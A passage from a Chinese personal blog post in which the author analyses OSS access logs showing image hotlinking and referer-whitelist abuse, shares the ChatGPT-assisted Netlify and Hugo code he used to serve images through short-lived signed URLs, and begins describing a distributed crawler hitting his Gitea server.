HTTP/1.1,-,233860,33,-,31,NotSign,,,,,,-,-,02/Sep/2025:02:44:09,\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\u0026#34;,-,172563320,0 log_dispatch,1756752249,oss_access_log,-,-,-,cyp0633-blogasset,oss-cn-qingdao-h,standard,,,46.62.169.27,-,144022,-,-,,-,-,,cyp0633-blogasset.cn-qingdao.oss.aliyuncs.com,GET,200,https,,,true,,,,,,,windows-11-bugs%2Fwin11bug21.avif,144022,GetObject,1385315732671155,,,,https://cyp0633-blogasset.cn-qingdao.oss.aliyuncs.com,,68B5E9794A68943931DED990,668,/windows-11-bugs/win11bug21.avif HTTP/1.1,-,144022,31,-,30,NotSign,,,,,,-,-,02/Sep/2025:02:44:09,\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\u0026#34;,-,172563320,0 log_dispatch,1756752249,oss_access_log,-,-,-,cyp0633-blogasset,oss-cn-qingdao-h,standard,,,46.62.169.27,-,158049,-,-,,-,-,,cyp0633-blogasset.cn-qingdao.oss.aliyuncs.com,GET,200,https,,,true,,,,,,,wild-chicken-university%2Ftianyancha.avif,158049,GetObject,1385315732671155,,,,https://cyp0633-blogasset.cn-qingdao.oss.aliyuncs.com,,68B5E9798F796838331F52B9,676,/wild-chicken-university/tianyancha.avif HTTP/1.1,-,158049,30,-,27,NotSign,,,,,,-,-,02/Sep/2025:02:44:09,\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\u0026#34;,-,172563320,0 log_dispatch,1756752249,oss_access_log,-,-,-,cyp0633-blogasset,oss-cn-qingdao-h,standard,,,46.62.169.27,-,28216,-,-,,-,-,,cyp0633-blogasset.cn-qingdao.oss.aliyuncs.com,GET,200,https,,,true,,,,,,,vmware-ubuntu-12.04%2Faccount.avif,28216,GetObject,1385315732671155,,,,https://cyp0633-blogasset.cn-qingdao.oss.aliyuncs.com,,68B5E9792E174C34349AADA1,669,/vmware-ubuntu-12.04/account.avif HTTP/1.1,-,28216,33,-,32,NotSign,,,,,,-,-,02/Sep/2025:02:44:09,\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\u0026#34;,-,172563320,0 log_dispatch,1756752249,oss_access_log,-,-,-,cyp0633-blogasset,oss-cn-qingdao-h,standard,,,46.62.169.27,-,55299,-,-,,-,-,,cyp0633-blogasset.cn-qingdao.oss.aliyuncs.com,GET,200,https,,,true,,,,,,,windows-11-21996-leaked%2Fstart-menu.avif,55299,GetObject,1385315732671155,,,,https://cyp0633-blogasset.cn-qingdao.oss.aliyuncs.com,,68B5E979AF9A9630396238AC,676,/windows-11-21996-leaked/start-menu.avif HTTP/1.1,-,55299,27,-,26,NotSign,,,,,,-,-,02/Sep/2025:02:44:09,\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\u0026#34;,-,172563320,0 log_dispatch,1756752249,oss_access_log,-,-,-,cyp0633-blogasset,oss-cn-qingdao-h,standard,,,46.62.169.27,-,14143,-,-,,-,-,,cyp0633-blogasset.cn-qingdao.oss.aliyuncs.com,GET,200,https,,,true,,,,,,,windows-11-21996-leaked%2Foobe4.avif,14143,GetObject,1385315732671155,,,,https://cyp0633-blogasset.cn-qingdao.oss.aliyuncs.com,,68B5E979AF9A9635306338AC,671,/windows-11-21996-leaked/oobe4.avif HTTP/1.1,-,14143,33,-,32,NotSign,,,,,,-,-,02/Sep/2025:02:44:09,\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\u0026#34;,-,172563320,0 log_dispatch,1756752249,oss_access_log,-,-,-,cyp0633-blogasset,oss-cn-qingdao-h,standard,,,46.62.169.27,-,20354,-,-,,-,-,,cyp0633-blogasset.cn-qingdao.oss.aliyuncs.com,GET,200,https,,,true,,,,,,,windows-11-21996-leaked%2Fwindows-10-calendar.avif,20354,GetObject,1385315732671155,,,,https://cyp0633-blogasset.cn-qingdao.oss.aliyuncs.com,,68B5E9798D51EC3531998676,685,/windows-11-21996-leaked/windows-10-calendar.avif HTTP/1.1,-,20354,34,-,34,NotSign,,,,,,-,-,02/Sep/2025:02:44:09,\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\u0026#34;,-,172563320,0 log_dispatch,1756752249,oss_access_log,-,-,-,cyp0633-blogasset,oss-cn-qingdao-h,standard,,,46.62.169.27,-,32798,-,-,,-,-,,cyp0633-blogasset.cn-qingdao.oss.aliyuncs.com,GET,200,https,,,true,,,,,,,windows-11-21996-leaked%2Foobe5.avif,32798,GetObject,1385315732671155,,,,https://cyp0633-blogasset.cn-qingdao.oss.aliyuncs.com,,68B5E9798D51EC3230A48676,671,/windows-11-21996-leaked/oobe5.avif HTTP/1.1,-,32798,32,-,30,NotSign,,,,,,-,-,02/Sep/2025:02:44:09,\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\u0026#34;,-,172563320,0 log_dispatch,1756752249,oss_access_log,-,-,-,cyp0633-blogasset,oss-cn-qingdao-h,standard,,,46.62.169.27,-,61159,-,-,,-,-,,cyp0633-blogasset.cn-qingdao.oss.aliyuncs.com,GET,200,https,,,true,,,,,,,windows-11-bugs%2Fwin11bug5.avif,61159,GetObject,1385315732671155,,,,https://cyp0633-blogasset.cn-qingdao.oss.aliyuncs.com,,68B5E979C759F63035B22080,667,/windows-11-bugs/win11bug5.avif HTTP/1.1,-,61159,23,-,18,NotSign,,,,,,-,-,02/Sep/2025:02:44:09,\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\u0026#34;,-,172563320,0 log_dispatch,1756752249,oss_access_log,-,-,-,cyp0633-blogasset,oss-cn-qingdao-h,standard,,,46.62.169.27,-,199772,-,-,,-,-,,cyp0633-blogasset.cn-qingdao.oss.aliyuncs.com,GET,200,https,,,true,,,,,,,nuc-homelab%2Fsiyuan.avif,199772,GetObject,1385315732671155,,,,https://cyp0633-blogasset.cn-qingdao.oss.aliyuncs.com,,68B5E979C70CA13536A34EB1,660,/nuc-homelab/siyuan.avif HTTP/1.1,-,199772,45,-,44,NotSign,,,,,,-,-,02/Sep/2025:02:44:09,\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\u0026#34;,-,172563320,0 log_dispatch,1756752249,oss_access_log,-,-,-,cyp0633-blogasset,oss-cn-qingdao-h,standard,,,46.62.169.27,-,41757,-,-,,-,-,,cyp0633-blogasset.cn-qingdao.oss.aliyuncs.com,GET,200,https,,,true,,,,,,,csapp-bufferlab%2Fstackframe.avif,41757,GetObject,1385315732671155,,,,https://cyp0633-blogasset.cn-qingdao.oss.aliyuncs.com,,68B5E979C70CA13931A94EB1,668,/csapp-bufferlab/stackframe.avif HTTP/1.1,-,41757,67,-,66,NotSign,,,,,,-,-,02/Sep/2025:02:44:09,\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\u0026#34;,-,172563320,0 在开启日志后5天的时间里，OSS总共有10217次访问，而其中：\n有一个IP 46.62.169.27猜出了我的Referer白名单，访问了 5571 次，其中最多的一个小时访问了376次； 有至少7个GCP的IP带着Thumbor的User-Agent和空Referer访问了1451次，鉴于我并不用这个软件，应该是被盗图了； 还有一些其他的可疑访问，但数量较少。 为了防止进一步当冤大头，我再次开始了vibe。ChatGPT给我提供了一个方案：利用Netlify Functions给图片签名，一次访问签整个页面的图片，然后用户使用带签名的URL访问OSS。OSS可以设为私有读，从而防止被猜出OSS白名单；签名TTL可以设置得很小，以防止损失过大。以下是基于Hugo完整的代码，虽然全是vibe的，但证明有效。\nnetlify/functions/sign-oss.js，在Netlify服务器上运行，用于访问阿里服务器进行签名（同时要安装 ali-oss NPM包）：\njavascript 复制代码 \u0026#39;use strict\u0026#39;; const OSS = require(\u0026#39;ali-oss\u0026#39;); // Allow all by default for a dedicated bucket; override via OSS_ALLOWED_PREFIXES const RAW_PREFIXES = process.env.OSS_ALLOWED_PREFIXES; const ALLOWED_PREFIXES = (RAW_PREFIXES \u0026amp;\u0026amp; RAW_PREFIXES.trim().length \u0026gt; 0 ? RAW_PREFIXES : \u0026#39;*\u0026#39;) .split(\u0026#39;,\u0026#39;).map(s =\u0026gt; s.trim()).filter(Boolean); function isAllowedKey(key) { if (!/^[\\w\\-./]\u0026#43;$/.test(key)) return false; if (ALLOWED_PREFIXES.includes(\u0026#39;*\u0026#39;)) return true; return ALLOWED_PREFIXES.some(p =\u0026gt; key.startsWith(p)); } function parseAllowedOrigins() { return (process.env.ALLOWED_ORIGINS || \u0026#39;\u0026#39;) .split(\u0026#39;,\u0026#39;) .map(s =\u0026gt; s.trim()) .filter(Boolean); } const client = new OSS({ region: process.env.OSS_REGION, accessKeyId: process.env.OSS_ACCESS_KEY_ID, accessKeySecret: process.env.OSS_ACCESS_KEY_SECRET, bucket: process.env.OSS_BUCKET }); exports.handler = async (event) =\u0026gt; { try { const method = (event.httpMethod || \u0026#39;GET\u0026#39;).toUpperCase(); const headers = event.headers || {}; const origin = headers.origin || headers.Origin || \u0026#39;\u0026#39;; const allowedOrigins = parseAllowedOrigins(); const acao = allowedOrigins.length ? (allowedOrigins.includes(origin) ? origin : \u0026#39;*\u0026#39;) : \u0026#39;*\u0026#39;; if (method === \u0026#39;OPTIONS\u0026#39;) { return { statusCode: 204, headers: { \u0026#39;access-control-allow-origin\u0026#39;: acao, \u0026#39;access-control-allow-methods\u0026#39;: \u0026#39;GET,POST,OPTIONS\u0026#39;, \u0026#39;access-control-allow-headers\u0026#39;: \u0026#39;content-type\u0026#39;, \u0026#39;cache-control\u0026#39;: \u0026#39;private, max-age=60\u0026#39; } }; } if (method !== \u0026#39;GET\u0026#39; \u0026amp;\u0026amp; method !== \u0026#39;POST\u0026#39;) { return { statusCode: 405, body: \u0026#39;Method Not Allowed\u0026#39; }; } if (allowedOrigins.length \u0026amp;\u0026amp; !allowedOrigins.includes(origin)) { return { statusCode: 403, body: \u0026#39;Forbidden\u0026#39;, headers: { \u0026#39;access-control-allow-origin\u0026#39;: acao } }; } let keys = [], ttl = 600; if (method === \u0026#39;GET\u0026#39;) { const qs = event.queryStringParameters || {}; const rawKeys = qs.keys || \u0026#39;\u0026#39;; keys = String(rawKeys).split(\u0026#39;,\u0026#39;).map(s =\u0026gt; s.trim()).filter(Boolean); ttl = parseInt(qs.ttl || \u0026#39;600\u0026#39;, 10); } else { let bodyObj = {}; if (event.body) { try { const text = event.isBase64Encoded ? Buffer.from(event.body, \u0026#39;base64\u0026#39;).toString(\u0026#39;utf8\u0026#39;) : event.body; bodyObj = JSON.parse(text); } catch (_) { bodyObj = {}; } } keys = Array.isArray(bodyObj.keys) ? bodyObj.keys : []; ttl = parseInt(bodyObj.ttl ?? 600, 10); } ttl = Math.min(Math.max(ttl, 30), 3600); const sanitized = keys.filter(isAllowedKey); if (sanitized.length === 0) { return { statusCode: 400, headers: { \u0026#39;access-control-allow-origin\u0026#39;: acao }, body: JSON.stringify({ error: \u0026#39;No valid keys\u0026#39; }) }; } const now = Math.floor(Date.now() / 1000); const urls = await Promise.all(sanitized.map(async (key) =\u0026gt; { const url = client.signatureUrl(key, { expires: ttl, method: \u0026#39;GET\u0026#39; }); return { key, url, exp: now \u0026#43; ttl }; })); return { statusCode: 200, headers: { \u0026#39;content-type\u0026#39;: \u0026#39;application/json; charset=utf-8\u0026#39;, \u0026#39;cache-control\u0026#39;: \u0026#39;private, max-age=60\u0026#39;, \u0026#39;access-control-allow-origin\u0026#39;: acao, \u0026#39;access-control-allow-methods\u0026#39;: \u0026#39;GET,POST,OPTIONS\u0026#39;, \u0026#39;access-control-allow-headers\u0026#39;: \u0026#39;content-type\u0026#39; }, body: JSON.stringify({ urls }) }; } catch (e) { return { statusCode: 500, body: JSON.stringify({ error: \u0026#39;Server error\u0026#39; }) }; } }; 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 \u0026#39;use strict\u0026#39;; const OSS = require(\u0026#39;ali-oss\u0026#39;); // Allow all by default for a dedicated bucket; override via OSS_ALLOWED_PREFIXES const RAW_PREFIXES = process.env.OSS_ALLOWED_PREFIXES; const ALLOWED_PREFIXES = (RAW_PREFIXES \u0026amp;\u0026amp; RAW_PREFIXES.trim().length \u0026gt; 0 ? RAW_PREFIXES : \u0026#39;*\u0026#39;) .split(\u0026#39;,\u0026#39;).map(s =\u0026gt; s.trim()).filter(Boolean); function isAllowedKey(key) { if (!/^[\\w\\-./]+$/.test(key)) return false; if (ALLOWED_PREFIXES.includes(\u0026#39;*\u0026#39;)) return true; return ALLOWED_PREFIXES.some(p =\u0026gt; key.startsWith(p)); } function parseAllowedOrigins() { return (process.env.ALLOWED_ORIGINS || \u0026#39;\u0026#39;) .split(\u0026#39;,\u0026#39;) .map(s =\u0026gt; s.trim()) .filter(Boolean); } const client = new OSS({ region: process.env.OSS_REGION, accessKeyId: process.env.OSS_ACCESS_KEY_ID, accessKeySecret: process.env.OSS_ACCESS_KEY_SECRET, bucket: process.env.OSS_BUCKET }); exports.handler = async (event) =\u0026gt; { try { const method = (event.httpMethod || \u0026#39;GET\u0026#39;).toUpperCase(); const headers = event.headers || {}; const origin = headers.origin || headers.Origin || \u0026#39;\u0026#39;; const allowedOrigins = parseAllowedOrigins(); const acao = allowedOrigins.length ? (allowedOrigins.includes(origin) ? origin : \u0026#39;*\u0026#39;) : \u0026#39;*\u0026#39;; if (method === \u0026#39;OPTIONS\u0026#39;) { return { statusCode: 204, headers: { \u0026#39;access-control-allow-origin\u0026#39;: acao, \u0026#39;access-control-allow-methods\u0026#39;: \u0026#39;GET,POST,OPTIONS\u0026#39;, \u0026#39;access-control-allow-headers\u0026#39;: \u0026#39;content-type\u0026#39;, \u0026#39;cache-control\u0026#39;: \u0026#39;private, max-age=60\u0026#39; } }; } if (method !== \u0026#39;GET\u0026#39; \u0026amp;\u0026amp; method !== \u0026#39;POST\u0026#39;) { return { statusCode: 405, body: \u0026#39;Method Not Allowed\u0026#39; }; } if (allowedOrigins.length \u0026amp;\u0026amp; !allowedOrigins.includes(origin)) { return { statusCode: 403, body: \u0026#39;Forbidden\u0026#39;, headers: { \u0026#39;access-control-allow-origin\u0026#39;: acao } }; } let keys = [], ttl = 600; if (method === \u0026#39;GET\u0026#39;) { const qs = event.queryStringParameters || {}; const rawKeys = qs.keys || \u0026#39;\u0026#39;; keys = String(rawKeys).split(\u0026#39;,\u0026#39;).map(s =\u0026gt; s.trim()).filter(Boolean); ttl = parseInt(qs.ttl || \u0026#39;600\u0026#39;, 10); } else { let bodyObj = {}; if (event.body) { try { const text = event.isBase64Encoded ? Buffer.from(event.body, \u0026#39;base64\u0026#39;).toString(\u0026#39;utf8\u0026#39;) : event.body; bodyObj = JSON.parse(text); } catch (_) { bodyObj = {}; } } keys = Array.isArray(bodyObj.keys) ? bodyObj.keys : []; ttl = parseInt(bodyObj.ttl ?? 600, 10); } ttl = Math.min(Math.max(ttl, 30), 3600); const sanitized = keys.filter(isAllowedKey); if (sanitized.length === 0) { return { statusCode: 400, headers: { \u0026#39;access-control-allow-origin\u0026#39;: acao }, body: JSON.stringify({ error: \u0026#39;No valid keys\u0026#39; }) }; } const now = Math.floor(Date.now() / 1000); const urls = await Promise.all(sanitized.map(async (key) =\u0026gt; { const url = client.signatureUrl(key, { expires: ttl, method: \u0026#39;GET\u0026#39; }); return { key, url, exp: now + ttl }; })); return { statusCode: 200, headers: { \u0026#39;content-type\u0026#39;: \u0026#39;application/json; charset=utf-8\u0026#39;, \u0026#39;cache-control\u0026#39;: \u0026#39;private, max-age=60\u0026#39;, \u0026#39;access-control-allow-origin\u0026#39;: acao, \u0026#39;access-control-allow-methods\u0026#39;: \u0026#39;GET,POST,OPTIONS\u0026#39;, \u0026#39;access-control-allow-headers\u0026#39;: \u0026#39;content-type\u0026#39; }, body: JSON.stringify({ urls }) }; } catch (e) { return { statusCode: 500, body: JSON.stringify({ error: \u0026#39;Server error\u0026#39; }) }; } }; netlify.toml 添加配置，指定函数目录：\ntoml 复制代码 [build] functions = \u0026#34;netlify/functions\u0026#34; [functions] node_bundler = \u0026#34;esbuild\u0026#34; 1 2 3 4 5 [build] functions = \u0026#34;netlify/functions\u0026#34; [functions] node_bundler = \u0026#34;esbuild\u0026#34; config.toml，定义OSS前缀链接：\ntoml 复制代码 [params.oss] hosts = [ \u0026#34;https://cyp0633-blogasset.oss-cn-qingdao.aliyuncs.com/\u0026#34;, \u0026#34;https://cyp0633-blogasset.cn-qingdao.oss.aliyuncs.com/\u0026#34; ] 1 2 3 4 5 [params.oss] hosts = [ \u0026#34;https://cyp0633-blogasset.oss-cn-qingdao.aliyuncs.com/\u0026#34;, \u0026#34;https://cyp0633-blogasset.cn-qingdao.oss.aliyuncs.com/\u0026#34; ] layouts/_default/_markup/render-image.html，将具有上述前缀的链接替换为 data-oss-key：\nhtml 复制代码 {{- /* Override: detect OSS remote images and emit data-oss-key for client signing, other images fall back to theme default behavior. */ -}} {{- $dest := .Destination | safeURL -}} {{- $alt := .PlainText | safeHTML -}} {{- /* Determine if remote and hosted on OSS */ -}} {{- $isRemote := or (hasPrefix $dest \u0026#34;http://\u0026#34;) (hasPrefix $dest \u0026#34;https://\u0026#34;) -}} {{- $ossHosts := site.Params.oss.hosts | default (slice) -}} {{- $matchOss := false -}} {{- if $isRemote -}} {{- if gt (len $ossHosts) 0 -}} {{- range $ossHosts -}} {{- if hasPrefix $dest . -}} {{- $matchOss = true -}} {{- end -}} {{- end -}} {{- else -}} {{- /* Fallback: aliyun OSS domain heuristic (aliyuncs.com and aliyun.com) */ -}} {{- if or (findRE `^https?://[^/]*(aliyuncs\\.com)/` $dest) (findRE `^https?://[^/]*(aliyun\\.com)/` $dest) -}} {{- $matchOss = true -}} {{- end -}} {{- end -}} {{- end -}} {{- if and $isRemote $matchOss -}} {{- /* Extract object key (path without leading slash) */ -}} {{- $key := (replaceRE `^https?://[^/]*/` `` $dest) -}} {{- $key = (replaceRE `^/` `` $key) -}} {{- $placeholder := `data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///ywAAAAAAQABAAACAUwAOw==` -}} \u0026lt;figure style=\u0026#34;max-width: 80%; margin: auto;\u0026#34;\u0026gt; \u0026lt;img data-oss-key=\u0026#34;{{ $key }}\u0026#34; src=\u0026#34;{{ $placeholder | safeURL }}\u0026#34; loading=\u0026#34;lazy\u0026#34; {{ with $alt }} alt=\u0026#34;{{ . }}\u0026#34; {{ end }} style=\u0026#34;width: 100%; height: auto; max-height: 70vh; object-fit: contain;\u0026#34;\u0026gt; {{ if .Title }} \u0026lt;figcaption\u0026gt;{{ .Title | markdownify }}\u0026lt;/figcaption\u0026gt; {{ end }} \u0026lt;/figure\u0026gt; {{- else -}} {{- /* Default theme behavior for local or non-OSS remote images */ -}} {{- $image := .Page.Resources.GetMatch (printf \u0026#34;%s\u0026#34; (.Destination | safeURL)) -}} {{- $Permalink := .Destination | relURL | safeURL -}} \u0026lt;figure style=\u0026#34;max-width: 80%; margin: auto;\u0026#34;\u0026gt; \u0026lt;img src=\u0026#34;{{ $Permalink }}\u0026#34; loading=\u0026#34;lazy\u0026#34; {{ with $alt }} alt=\u0026#34;{{ . }}\u0026#34; {{ end }} style=\u0026#34;width: 100%; height: auto; max-height: 70vh; object-fit: contain;\u0026#34;\u0026gt; {{ if .Title }} \u0026lt;figcaption\u0026gt;{{ .Title | markdownify }}\u0026lt;/figcaption\u0026gt; {{ end }} \u0026lt;/figure\u0026gt; {{- end -}} 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 {{- /* Override: detect OSS remote images and emit data-oss-key for client signing, other images fall back to theme default behavior. */ -}} {{- $dest := .Destination | safeURL -}} {{- $alt := .PlainText | safeHTML -}} {{- /* Determine if remote and hosted on OSS */ -}} {{- $isRemote := or (hasPrefix $dest \u0026#34;http://\u0026#34;) (hasPrefix $dest \u0026#34;https://\u0026#34;) -}} {{- $ossHosts := site.Params.oss.hosts | default (slice) -}} {{- $matchOss := false -}} {{- if $isRemote -}} {{- if gt (len $ossHosts) 0 -}} {{- range $ossHosts -}} {{- if hasPrefix $dest . -}} {{- $matchOss = true -}} {{- end -}} {{- end -}} {{- else -}} {{- /* Fallback: aliyun OSS domain heuristic (aliyuncs.com and aliyun.com) */ -}} {{- if or (findRE `^https?://[^/]*(aliyuncs\\.com)/` $dest) (findRE `^https?://[^/]*(aliyun\\.com)/` $dest) -}} {{- $matchOss = true -}} {{- end -}} {{- end -}} {{- end -}} {{- if and $isRemote $matchOss -}} {{- /* Extract object key (path without leading slash) */ -}} {{- $key := (replaceRE `^https?://[^/]*/` `` $dest) -}} {{- $key = (replaceRE `^/` `` $key) -}} {{- $placeholder := `data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///ywAAAAAAQABAAACAUwAOw==` -}} \u0026lt;figure style=\u0026#34;max-width: 80%; margin: auto;\u0026#34;\u0026gt; \u0026lt;img data-oss-key=\u0026#34;{{ $key }}\u0026#34; src=\u0026#34;{{ $placeholder | safeURL }}\u0026#34; loading=\u0026#34;lazy\u0026#34; {{ with $alt }} alt=\u0026#34;{{ . }}\u0026#34; {{ end }} style=\u0026#34;width: 100%; height: auto; max-height: 70vh; object-fit: contain;\u0026#34;\u0026gt; {{ if .Title }} \u0026lt;figcaption\u0026gt;{{ .Title | markdownify }}\u0026lt;/figcaption\u0026gt; {{ end }} \u0026lt;/figure\u0026gt; {{- else -}} {{- /* Default theme behavior for local or non-OSS remote images */ -}} {{- $image := .Page.Resources.GetMatch (printf \u0026#34;%s\u0026#34; (.Destination | safeURL)) -}} {{- $Permalink := .Destination | relURL | safeURL -}} \u0026lt;figure style=\u0026#34;max-width: 80%; margin: auto;\u0026#34;\u0026gt; \u0026lt;img src=\u0026#34;{{ $Permalink }}\u0026#34; loading=\u0026#34;lazy\u0026#34; {{ with $alt }} alt=\u0026#34;{{ . }}\u0026#34; {{ end }} style=\u0026#34;width: 100%; height: auto; max-height: 70vh; object-fit: contain;\u0026#34;\u0026gt; {{ if .Title }} \u0026lt;figcaption\u0026gt;{{ .Title | markdownify }}\u0026lt;/figcaption\u0026gt; {{ end }} \u0026lt;/figure\u0026gt; {{- end -}} assets/ts/custom.ts，用于收集 data-oss-key 请求签名：\ntypescript 复制代码 type SignedEntry = { key: string; url: string; exp: number }; function collectOssKeys(): string[] { const imgs = Array.from(document.querySelectorAll\u0026lt;HTMLImageElement\u0026gt;(\u0026#39;img[data-oss-key]\u0026#39;)); const keys = imgs .map((img) =\u0026gt; img.dataset.ossKey || \u0026#39;\u0026#39;) .filter((k) =\u0026gt; k.length \u0026gt; 0); return Array.from(new Set(keys)); } async function fetchSignedUrls(keys: string[], ttlSeconds = 600): Promise\u0026lt;Map\u0026lt;string, string\u0026gt;\u0026gt; { const endpoint = \u0026#39;/.netlify/functions/sign-oss\u0026#39;; const url = `${endpoint}?ttl=${encodeURIComponent(String(ttlSeconds))}\u0026amp;keys=${encodeURIComponent(keys.join(\u0026#39;,\u0026#39;))}`; const res = await fetch(url, { credentials: \u0026#39;omit\u0026#39;, cache: \u0026#39;no-store\u0026#39; }); if (!res.ok) return new Map(); const data = (await res.json()) as { urls?: SignedEntry[] }; const map = new Map\u0026lt;string, string\u0026gt;(); (data.urls || []).forEach((u) =\u0026gt; { if (u \u0026amp;\u0026amp; u.key \u0026amp;\u0026amp; u.url) map.set(u.key, u.url); }); return map; } function applySignedUrls(map: Map\u0026lt;string, string\u0026gt;): void { document.querySelectorAll\u0026lt;HTMLImageElement\u0026gt;(\u0026#39;img[data-oss-key]\u0026#39;).forEach((img) =\u0026gt; { const key = img.dataset.ossKey || \u0026#39;\u0026#39;; const signed = key ? map.get(key) : undefined; if (signed) { img.src = signed; img.removeAttribute(\u0026#39;data-oss-key\u0026#39;); } }); } async function initOssSigning(): Promise\u0026lt;void\u0026gt; { const keys = collectOssKeys(); if (keys.length === 0) return; try { const map = await fetchSignedUrls(keys, 600); applySignedUrls(map); } catch { // no-op } } if (document.readyState === \u0026#39;loading\u0026#39;) { document.addEventListener(\u0026#39;DOMContentLoaded\u0026#39;, () =\u0026gt; { void initOssSigning(); }); } else { void initOssSigning(); } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 type SignedEntry = { key: string; url: string; exp: number }; function collectOssKeys(): string[] { const imgs = Array.from(document.querySelectorAll\u0026lt;HTMLImageElement\u0026gt;(\u0026#39;img[data-oss-key]\u0026#39;)); const keys = imgs .map((img) =\u0026gt; img.dataset.ossKey || \u0026#39;\u0026#39;) .filter((k) =\u0026gt; k.length \u0026gt; 0); return Array.from(new Set(keys)); } async function fetchSignedUrls(keys: string[], ttlSeconds = 600): Promise\u0026lt;Map\u0026lt;string, string\u0026gt;\u0026gt; { const endpoint = \u0026#39;/.netlify/functions/sign-oss\u0026#39;; const url = `${endpoint}?ttl=${encodeURIComponent(String(ttlSeconds))}\u0026amp;keys=${encodeURIComponent(keys.join(\u0026#39;,\u0026#39;))}`; const res = await fetch(url, { credentials: \u0026#39;omit\u0026#39;, cache: \u0026#39;no-store\u0026#39; }); if (!res.ok) return new Map(); const data = (await res.json()) as { urls?: SignedEntry[] }; const map = new Map\u0026lt;string, string\u0026gt;(); (data.urls || []).forEach((u) =\u0026gt; { if (u \u0026amp;\u0026amp; u.key \u0026amp;\u0026amp; u.url) map.set(u.key, u.url); }); return map; } function applySignedUrls(map: Map\u0026lt;string, string\u0026gt;): void { document.querySelectorAll\u0026lt;HTMLImageElement\u0026gt;(\u0026#39;img[data-oss-key]\u0026#39;).forEach((img) =\u0026gt; { const key = img.dataset.ossKey || \u0026#39;\u0026#39;; const signed = key ? map.get(key) : undefined; if (signed) { img.src = signed; img.removeAttribute(\u0026#39;data-oss-key\u0026#39;); } }); } async function initOssSigning(): Promise\u0026lt;void\u0026gt; { const keys = collectOssKeys(); if (keys.length === 0) return; try { const map = await fetchSignedUrls(keys, 600); applySignedUrls(map); } catch { // no-op } } if (document.readyState === \u0026#39;loading\u0026#39;) { document.addEventListener(\u0026#39;DOMContentLoaded\u0026#39;, () =\u0026gt; { void initOssSigning(); }); } else { void initOssSigning(); } 另外还需要在Netlify上设置环境变量：\nALLOWED_PREFIXES：如果所有图片都在同一个目录下可以使用； OSS_REGION：OSS地域，例如 oss-cn-qingdao； OSS_BUCKET：OSS Bucket名称，例如 cyp0633-blogasset； OSS_ACCESS_KEY_ID 和 OSS_ACCESS_KEY_SECRET：访问密钥。 就行了。构建时Hugo会自动将OSS链接替换为key，只能在访问时签名，签名只能用于特定的文件，且有效期有限；即使key特征明显，也无法直接访问OSS。\n在部署这个方案之后，收到的成效非常显著：\n46.62.169.27再也没有出现过； 盗图的Thumbor也没有再出现过； 搜索引擎索引（包括Bingbot、Googlebot、ChatGPT搜索和Petalbot等）正常访问。 按小时的访问量统计 Top IP 访问量统计 不出意外的话，你也能访问这个页面的图片内容，如果不能的话，请你在评论区留言，除非你的评论区也加载不出来：）\n超级分布式Gitea爬虫 其实大家都知道上面的办法治标不治本，我也知道。8月针对爬取Gitea的办法是屏蔽网段+挂CF，而一旦网段这个简单的特征被稀释，或者说爬取者找到了足够大的IP池，这个办法就不会有任何效果了。而对于大的AI训练者来说，他们最不缺的就是钱——起码与几万张B200相比，几台VPS根本不算什么。\n于是在10月末，我又收到了这样的日志：\njson 复制代码 {\u0026#34;level\u0026#34;:\u0026#34;info\u0026#34;,\u0026#34;ts\u0026#34;:1761649310.1998942,\u0026#34;logger\u0026#34;:\u0026#34;http.log.access.log1\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;handled 